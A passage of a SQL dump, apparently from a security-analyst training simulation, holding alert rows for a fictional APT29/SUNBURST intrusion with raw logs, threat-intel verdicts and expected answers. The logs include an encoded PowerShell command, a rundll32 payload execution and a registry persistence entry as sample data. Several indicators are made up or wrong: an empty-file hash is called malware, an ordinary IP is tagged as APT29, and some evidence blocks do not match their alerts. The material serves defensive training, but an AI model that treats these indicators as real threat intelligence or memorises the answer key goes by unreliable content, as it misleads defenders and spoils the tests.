1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:55:32Z\\\",\\\"event_id\\\":\\\"DLP-2023-1025-0001\\\",\\\"source_ip\\\":\\\"192.168.15.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"ICS_critical_data.zip\\\",\\\"action\\\":\\\"block\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"outcome\\\":\\\"success\\\",\\\"description\\\":\\\"Sensitive data exfiltration blocked by DLP policy. File transfer attempt to external IP.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.181Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:55:32Z\\\",\\\"event_id\\\":\\\"DLP-2023-1025-0001\\\",\\\"source_ip\\\":\\\"192.168.15.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"ICS_critical_data.zip\\\",\\\"action\\\":\\\"block\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"outcome\\\":\\\"success\\\",\\\"description\\\":\\\"Sensitive data exfiltration blocked by DLP policy. File transfer attempt to external IP.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.181Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:55:32Z\\\",\\\"event_id\\\":\\\"DLP-2023-1025-0001\\\",\\\"source_ip\\\":\\\"192.168.15.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"ICS_critical_data.zip\\\",\\\"action\\\":\\\"block\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"outcome\\\":\\\"success\\\",\\\"description\\\":\\\"Sensitive data exfiltration blocked by DLP policy. File transfer attempt to external IP.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.181Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:55:32Z\\\",\\\"event_id\\\":\\\"DLP-2023-1025-0001\\\",\\\"source_ip\\\":\\\"192.168.15.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"ICS_critical_data.zip\\\",\\\"action\\\":\\\"block\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"outcome\\\":\\\"success\\\",\\\"description\\\":\\\"Sensitive data exfiltration blocked by DLP policy. File transfer attempt to external IP.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(556, 'Initial Access via Compromised SolarWinds Update', 'critical', 'Network Traffic Logs', 'APT29 gains initial access by compromising the SolarWinds Orion software update, distributing the SUNBURST backdoor to numerous high-profile targets. Anomalous network traffic detected from an internal server communicating with a known malicious external IP associated with the SUNBURST backdoor.', 'Supply Chain Attack', 'T1195.002', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:32:17Z\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"185.100.87.55\",\"protocol\":\"HTTPS\",\"src_port\":443,\"dest_port\":443,\"http_request\":{\"url\":\"https://updates.solarwinds.com/orion/SUNBURST.dll\",\"method\":\"GET\"},\"file_hash\":\"b91ce2fa41029f6955bff20079468448\",\"user_agent\":\"SolarWindsOrion/2020.2.1\",\"internal_username\":\"admin\"}', '2026-01-07 22:39:53', '2026-02-16 18:07:36', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal server identified as part of the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.100.87.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with SUNBURST backdoor activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b91ce2fa41029f6955bff20079468448\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to SUNBURST.dll known malware.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"https://updates.solarwinds.com/orion/SUNBURST.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"URL distributing SUNBURST backdoor.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(557, 'SUNBURST Backdoor Activation', 'critical', 'Endpoint Detection Systems', 'Upon successful update, the SUNBURST backdoor is activated, allowing APT29 to remotely control the infected systems.', 'Execution', 'T1203: Exploitation for Client Execution', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:22:35Z\",\"event_id\":\"4521\",\"source_ip\":\"185.243.115.84\",\"destination_ip\":\"10.0.0.15\",\"filename\":\"SolarWinds.Orion.Core.BusinessLayer.dll\",\"hash\":\"b91ce2fa41029f6955bff20079468448\",\"user\":\"jdoe\",\"process\":\"orion.exe\",\"action\":\"execution\",\"details\":\"The SolarWinds.Orion.Core.BusinessLayer.dll file was executed, activating the SUNBURST backdoor.\",\"protocol\":\"TCP\"}', '2026-01-07 22:39:53', '2026-02-16 18:07:45', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.243.115.84\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT29 operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local network IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b91ce2fa41029f6955bff20079468448\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with SUNBURST malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"SolarWinds.Orion.Core.BusinessLayer.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"File involved in SUNBURST backdoor activation.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(558, 'Establishing Persistence with SUNBURST', 'high', 'System Registry Changes', 'APT29 is leveraging the SUNBURST backdoor to modify system registry settings, ensuring long-term access to the compromised networks.', 'Persistence', 'T1547.001 - Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"192.168.1.101\",\"destination_ip\":\"203.0.113.45\",\"username\":\"admin_user\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"registry_value_name\":\"SunburstPersistence\",\"registry_value_data\":\"C:\\\\Windows\\\\System32\\\\svchost.exe -k netsvcs\",\"hash\":\"fd6f9e4e9d53ea8d2a5a3e4a1f92c8a5\",\"external_ip\":\"203.0.113.45\",\"file_path\":\"C:\\\\Program Files\\\\SolarWinds\\\\Orion\\\\Sunburst.dll\"}', '2026-01-07 22:39:53', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with APT29 activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"fd6f9e4e9d53ea8d2a5a3e4a1f92c8a5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with the SUNBURST backdoor.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Sunburst.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"File associated with SUNBURST malware used by APT29.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.185Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"192.168.1.101\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"admin_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"SunburstPersistence\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\",\\\"hash\\\":\\\"fd6f9e4e9d53ea8d2a5a3e4a1f92c8a5\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\SolarWinds\\\\\\\\Orion\\\\\\\\Sunburst.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.185Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"192.168.1.101\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"admin_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"SunburstPersistence\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\",\\\"hash\\\":\\\"fd6f9e4e9d53ea8d2a5a3e4a1f92c8a5\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\SolarWinds\\\\\\\\Orion\\\\\\\\Sunburst.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.185Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"192.168.1.101\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"admin_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"SunburstPersistence\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\",\\\"hash\\\":\\\"fd6f9e4e9d53ea8d2a5a3e4a1f92c8a5\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\SolarWinds\\\\\\\\Orion\\\\\\\\Sunburst.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.185Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"192.168.1.101\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"admin_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"SunburstPersistence\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\",\\\"hash\\\":\\\"fd6f9e4e9d53ea8d2a5a3e4a1f92c8a5\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\SolarWinds\\\\\\\\Orion\\\\\\\\Sunburst.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.185Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"192.168.1.101\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"admin_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"SunburstPersistence\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\",\\\"hash\\\":\\\"fd6f9e4e9d53ea8d2a5a3e4a1f92c8a5\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\SolarWinds\\\\\\\\Orion\\\\\\\\Sunburst.dll\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(559, 'C2 Communication via Domain Generation Algorithm', 'high', 'DNS Traffic Analysis', 'The DNS logs indicate that a compromised host is communicating with multiple dynamically generated domains. This activity is indicative of command and control operations using a domain generation algorithm (DGA) typically employed by advanced persistent threats such as APT29.', 'Command and Control', 'T1568.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-06T14:23:45Z\",\"source_ip\":\"10.0.1.15\",\"destination_domain\":\"hgytqwoein.com\",\"queried_domains\":[\"hgytqwoein.com\",\"sjdhgqjwev.com\",\"aslkdjqwope.com\"],\"resolver_ip\":\"8.8.8.8\",\"detected_algorithm\":\"DGA\",\"associated_hash\":\"3f4d2e1a7c8bdcc9efefdc1b5ab2d3f7\",\"user\":\"jsmith\",\"process\":\"dns.exe\",\"internal_ip\":\"10.0.1.15\",\"external_ip\":\"198.51.100.14\",\"threat_actor\":\"APT29\",\"malware\":\"CustomDGA\"}', '2026-01-07 22:39:53', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host involved in suspicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"hgytqwoein.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Domain generated by a known DGA pattern used by APT29.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f4d2e1a7c8bdcc9efefdc1b5ab2d3f7\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT29\'s DGA malware.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"198.51.100.14\",\"is_critical\":false,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"suspicious\",\"details\":\"External IP associated with suspected command and control server.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.186Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-06T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_domain\\\":\\\"hgytqwoein.com\\\",\\\"queried_domains\\\":[\\\"hgytqwoein.com\\\",\\\"sjdhgqjwev.com\\\",\\\"aslkdjqwope.com\\\"],\\\"resolver_ip\\\":\\\"8.8.8.8\\\",\\\"detected_algorithm\\\":\\\"DGA\\\",\\\"associated_hash\\\":\\\"3f4d2e1a7c8bdcc9efefdc1b5ab2d3f7\\\",\\\"user\\\":\\\"jsmith\\\",\\\"process\\\":\\\"dns.exe\\\",\\\"internal_ip\\\":\\\"10.0.1.15\\\",\\\"external_ip\\\":\\\"198.51.100.14\\\",\\\"threat_actor\\\":\\\"APT29\\\",\\\"malware\\\":\\\"CustomDGA\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.186Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-06T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_domain\\\":\\\"hgytqwoein.com\\\",\\\"queried_domains\\\":[\\\"hgytqwoein.com\\\",\\\"sjdhgqjwev.com\\\",\\\"aslkdjqwope.com\\\"],\\\"resolver_ip\\\":\\\"8.8.8.8\\\",\\\"detected_algorithm\\\":\\\"DGA\\\",\\\"associated_hash\\\":\\\"3f4d2e1a7c8bdcc9efefdc1b5ab2d3f7\\\",\\\"user\\\":\\\"jsmith\\\",\\\"process\\\":\\\"dns.exe\\\",\\\"internal_ip\\\":\\\"10.0.1.15\\\",\\\"external_ip\\\":\\\"198.51.100.14\\\",\\\"threat_actor\\\":\\\"APT29\\\",\\\"malware\\\":\\\"CustomDGA\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.186Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-06T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_domain\\\":\\\"hgytqwoein.com\\\",\\\"queried_domains\\\":[\\\"hgytqwoein.com\\\",\\\"sjdhgqjwev.com\\\",\\\"aslkdjqwope.com\\\"],\\\"resolver_ip\\\":\\\"8.8.8.8\\\",\\\"detected_algorithm\\\":\\\"DGA\\\",\\\"associated_hash\\\":\\\"3f4d2e1a7c8bdcc9efefdc1b5ab2d3f7\\\",\\\"user\\\":\\\"jsmith\\\",\\\"process\\\":\\\"dns.exe\\\",\\\"internal_ip\\\":\\\"10.0.1.15\\\",\\\"external_ip\\\":\\\"198.51.100.14\\\",\\\"threat_actor\\\":\\\"APT29\\\",\\\"malware\\\":\\\"CustomDGA\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.186Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-06T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_domain\\\":\\\"hgytqwoein.com\\\",\\\"queried_domains\\\":[\\\"hgytqwoein.com\\\",\\\"sjdhgqjwev.com\\\",\\\"aslkdjqwope.com\\\"],\\\"resolver_ip\\\":\\\"8.8.8.8\\\",\\\"detected_algorithm\\\":\\\"DGA\\\",\\\"associated_hash\\\":\\\"3f4d2e1a7c8bdcc9efefdc1b5ab2d3f7\\\",\\\"user\\\":\\\"jsmith\\\",\\\"process\\\":\\\"dns.exe\\\",\\\"internal_ip\\\":\\\"10.0.1.15\\\",\\\"external_ip\\\":\\\"198.51.100.14\\\",\\\"threat_actor\\\":\\\"APT29\\\",\\\"malware\\\":\\\"CustomDGA\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.186Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-06T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_domain\\\":\\\"hgytqwoein.com\\\",\\\"queried_domains\\\":[\\\"hgytqwoein.com\\\",\\\"sjdhgqjwev.com\\\",\\\"aslkdjqwope.com\\\"],\\\"resolver_ip\\\":\\\"8.8.8.8\\\",\\\"detected_algorithm\\\":\\\"DGA\\\",\\\"associated_hash\\\":\\\"3f4d2e1a7c8bdcc9efefdc1b5ab2d3f7\\\",\\\"user\\\":\\\"jsmith\\\",\\\"process\\\":\\\"dns.exe\\\",\\\"internal_ip\\\":\\\"10.0.1.15\\\",\\\"external_ip\\\":\\\"198.51.100.14\\\",\\\"threat_actor\\\":\\\"APT29\\\",\\\"malware\\\":\\\"CustomDGA\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(560, 'Credential Harvesting for Lateral Movement', 'high', 'Authentication Logs', 'APT29 utilizes harvested credentials to move laterally within the network, accessing sensitive systems and data.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T12:45:32Z\",\"event_id\":\"4624\",\"computer_name\":\"server-01.internal.local\",\"logon_type\":\"3\",\"subject\":{\"user_id\":\"S-1-5-21-3623811015-3361044348-30300820-1013\",\"account_name\":\"admin_user\",\"account_domain\":\"INTERNAL\"},\"network_information\":{\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"10.0.0.15\"},\"additional_information\":{\"logon_process\":\"NtLmSsp\",\"authentication_package\":\"NTLM\",\"transmitted_services\":\"-\",\"lm_package_name\":\"-\"},\"threat_actor_ip\":\"185.199.108.153\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"APT29_tool.exe\"}', '2026-01-07 22:39:53', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT29.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with APT29 credential harvesting tool.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"APT29_tool.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Threat Database\",\"verdict\":\"suspicious\",\"details\":\"Executable detected during lateral movement activities.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Internal admin account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(561, 'Deployment of Second-Stage Payloads', 'high', 'Malware Analysis Reports', 'The attackers deployed second-stage payloads to enhance their intelligence-gathering capabilities and maintain control over compromised systems. This activity is associated with APT29, known for sophisticated supply chain attacks and spearphishing campaigns.', 'Execution', 'T1059', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"malware_hash\":\"f2b5b9d4e5c7a8b9d5f6a7c8e9b2f3d4\",\"username\":\"j.doe\",\"filename\":\"payload_stage2.dll\",\"process_name\":\"svchost.exe\",\"command_line\":\"rundll32.exe payload_stage2.dll,EntryPoint\",\"event_description\":\"Second-stage payload executed on the host, enhancing attacker capabilities.\"}', '2026-01-07 22:39:53', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT29 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host targeted by second-stage payload.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f2b5b9d4e5c7a8b9d5f6a7c8e9b2f3d4\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash 